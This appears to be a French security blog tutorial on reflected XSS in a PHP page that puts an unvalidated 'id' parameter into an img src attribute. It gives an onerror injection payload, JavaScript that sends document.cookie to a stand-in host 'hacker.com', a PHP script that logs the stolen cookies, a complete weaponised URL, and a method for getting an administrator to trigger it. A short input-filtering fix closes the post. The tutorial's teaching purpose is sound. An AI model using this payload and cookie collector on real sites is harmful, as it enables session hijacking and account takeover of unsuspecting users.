On ne le répétera jamais assez : la validation de tous les paramètres provenant de l’utilisateur est d’une extrême importance ! Dans certains cas on peut se dire que le paramètre en question est utilisé d’une manière « non sensible » et que pour cette raison notre vigilance baisse. Mais c’est une erreur à ne pas faire !

Contexte

Prenons l’exemple d’un site web ayant une zone sécurisée dont l’accès est géré grâce à deux cookies stockant le login et le mot de passe (à ne jamais faire… bien sur !). Le site en question propose une page d’accueil accessible à tous et un formulaire pour contacter l’administrateur.

Le site est généré en PHP et la page d’accueil contient quelques éléments dynamiques comme une image qui change selon un paramètre (cela n’a pas vraiment de sens en réalité mais c’est à titre d’exemple).

Code source

Intéressons-nous au code source de la page d’accueil de notre forum. Celle-ci utilise un paramètre ‘id’ pour sélectionner l’image à afficher.

<?php $imageLink = "'porte".$_GET['id'].".jpg'"; ?>
<!doctype html>
<html>

  <head>
    <title>Espace membre</title>
    <noscript>
      <meta http-equiv="Refresh" content="0; URL=http://www.exemple.com/error.htm" />
    </noscript>
  </head>

  <body bgcolor="#eee">
    <table width="75%" cellpadding="4" cellspacing="1" align="center">
      <tr>
        <td>
          <table border="0" cellpadding="3" cellspacing="1" width="100%">
            <tr>
              <td colspan="2" align="center">
                <br />
                <div align="center">
                  <b><h2>Acc&egrave;s &agrave; l&apos;espace membre</h2></b>
                  <br />
                  <br />
                  <br />
                  <a href="membre.php"><img src=<?php echo $imageLink; ?>/></a>
                  <br />
                  <br />
                  <u>Cliquez sur l&apos;image pour rentrer sur le forum</u>
                </div>
                <br />
              </td>
            </tr>
          </table>
        </td>
      </tr>
    </table>
  </body>

</html>

Dans le cas normal, la page d’accueil est accédée grâce à l’URL suivante :

http://www.exemple.com/index.php?id=1

Ce qui a pour résultat d’afficher l’HTML suivant dans le navigateur :

<!doctype html>
<html>

  <head>
    <title>Espace membre</title>
    <noscript>
      <meta http-equiv="Refresh" content="0; URL=http://www.exemple.com/error.htm" />
    </noscript>
  </head>

  <body bgcolor="#eee">
    <table width="75%" cellpadding="4" cellspacing="1" align="center">
      <tr>
        <td>
          <table border="0" cellpadding="3" cellspacing="1" width="100%">
            <tr>
              <td colspan="2" align="center">
                <br />
                <div align="center">
                  <b><h2>Acc&egrave;s &agrave; l&apos;espace membre</h2></b>
                  <br />
                  <br />
                  <br />
                  <a href="membre.php"><img src='porte1.jpg'/></a>
                  <br />
                  <br />
                  <u>Cliquez sur l&apos;image pour rentrer sur le forum</u>
                </div>
                <br />
              </td>
            </tr>
          </table>
        </td>
      </tr>
    </table>
  </body>

</html>

Dans ce cas, tout est normal, la bonne image est sélectionnée et tout s’affiche correctement !

Analyse & Exploitation

Exécuter arbitrairement du code

En temps normal, lorsque nous cherchons des failles, nous avons rarement accès au code source du site. Ce qui nous oblige à faire quelques tests et avancer à l’aveugle. Dans ce cas, la première étape serait d’envoyer d’autres informations dans les paramètres et regarder ce qui se passe. Essayons ceci et regardons ce que nous obtenons :

http://www.exemple.com/index.php?id=1 attaque

L’image ne s’affiche plus et on obtient l’HTML suivant :

<a href="membre.php"><img src='porte1 attaque.jpg'/></a>

On peut en déduire que notre paramètre ‘id’ n’est pas validé correctement et que celui-ci est utilisé pour construire l’URL de l’image a affiché. Nous avons donc un moyen d’injecter du code Javascript dans la page.

Regardons plus attentivement le contexte dans lequel la faille est présente. Nous avons la possibilité d’injection du code au sein d’un attribut ‘src’ d’un élément HTML image. Notre injection est précédée par le mot « porte » et suivi par l’extension « .jpg ». Ce qui rend l’exécution du code Javascript inutilisable dans ce contexte.

Si aucun préfixe et suffixe n’étaient présents, un premier type d’injection devient possible :

<img src='javascript:alert("attaque");'/>

Cependant, la plupart des navigateurs actuels n’exécuteront pas le script pour des raisons de sécurité. Mais cette technique fonctionnait il y a quelque temps.

Si l’on s’intéresse de plus près aux attributs HTML, on remarque qu’une partie de ceux-ci fait référence aux événements Javascript. Plus précisément, il existe une catégorie d’événements « Media Events » s’appliquant aux balises <audio>, <embed>, <img>, <object>, et <video>. Parmi ces événements nous retrouvons « onloadstart », « onerror » ou encore « onloadedmetadata ».

En utilisant ces attributs il nous est maintenant possible d’afficher une ‘alert’ Javascript grâce à l’URL suivante :

http://www.exemple.com/index.php?id=1' onerror="alert('xss');" attr='

pour obtenir le résultat HTML suivant :

<img src='porte1' onerror="alert('xss');" attr='.jpg'/>

Il faut bien faire attention d’avoir une source inaccessible pour déclencher l’événement « onerror » et ainsi exécuter notre code au chargement de la page.

Récupérer de l’information

Maintenant que nous sommes capables d’exécuter du code au chargement de la page, il nous faut écrire la première partie de l’exploitation. Pour y arriver, il faut tout d’abord définir quelle est notre cible. Dans la plupart des cas nous souhaitons simplement récupérer les cookies de l’utilisateur ciblé. Pour ce faire, nous devons procéder en deux temps : transmettre les cookies en Javascript grâce à la faille trouvée, puis écrire un script récupérant et stockant ces cookies.

Transmettre les cookies

Lors de l’erreur du chargement de l’image, nous allons récupérer les cookies et les poster sur une URL appartenant au hacker. Pour ce faire il suffit de créer une XMLHttpRequest et le tour est joué.

var x = new XMLHttpRequest();
x.open( "GET", "http://hacker.com/cookies-stealer.php?cookies=" + document.cookie );
x.send( null );

Réceptionner les cookies

Pour stocker les cookies envoyés par notre Javascript un petit script PHP récupérant la valeur du paramètre ‘cookies’ suffit. On enregistre ensuite le résultat dans un fichier.

<?php

$file = 'cookies.txt';

header("Access-Control-Allow-Origin: *");


$cookies = $_GET['cookies'];

$current = file_get_contents($file);

$current .= "\n-------------------------------------------\n";
$current .= date("r") ." insert :\n\n";
$current .= $cookies . "\n";

file_put_contents($file, $current);

Application concrète

Pour injecter le code final depuis l’URL, on obtient le lien suivant :

http://www.exemple.com/index.php?id=1' onerror="var x = new XMLHttpRequest(); x.open( 'GET', 'http://hacker.com/cookies-stealer.php?cookies=' %2B document.cookie ); x.send( null );" attr='

Lors que l’utilisateur arrive sur cette page, le code HTML retourné est le suivant :

<img src='porte1' onerror="var x = new XMLHttpRequest(); x.open( 'GET', 'http://hacker.com/cookies-stealer.php?cookies=' + document.cookie ); x.send( null );" attr='.jpg'/>

Ce qui a pour effet de :

  1. Charger l’image ‘porte1’ qui n’existe pas
  2. Exécuter le script contenu dans l’attribut « onerror »
  3. Récupérer les cookies
  4. Exécuter une requête vers le site du hacker en transmettant les cookies

Propager la faille

Cette URL spéciale doit maintenant être transmise et exécutée par la bonne personne. Pour ce faire nous pouvons utiliser une méthode simple. En mettant dans le message de l’administrateur une image ayant pour source le lien souhaité, le navigateur de l’administrateur atteindra automatiquement la page.

Protection possible

Encore une fois, se protéger de cette faille n’est vraiment pas compliqué ! Il suffit de filtrer le paramètre d’entrée.

<?php
$imageLink = "'porte".filter_input(INPUT_GET, 'id', FILTER_SANITIZE_NUMBER_INT).".jpg'";

Cette fonction PHP permet de filtrer les paramètres d’entrée selon une liste de filtres prédéfinit. Dans ce cas, seuls les nombre et les signes +- sont gardés.

Ressources

Développeur et passionné de nouvelles technologies, j'exerce à mi-temps dans une agence digitale suisse. En parallèle, je poursuis mes études de Master en systèmes d'informations complexes. Depuis quelque temps, mon intérêt grandissant pour les enjeux de sécurité au sein des solutions web m'a amené à créer ce blog.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *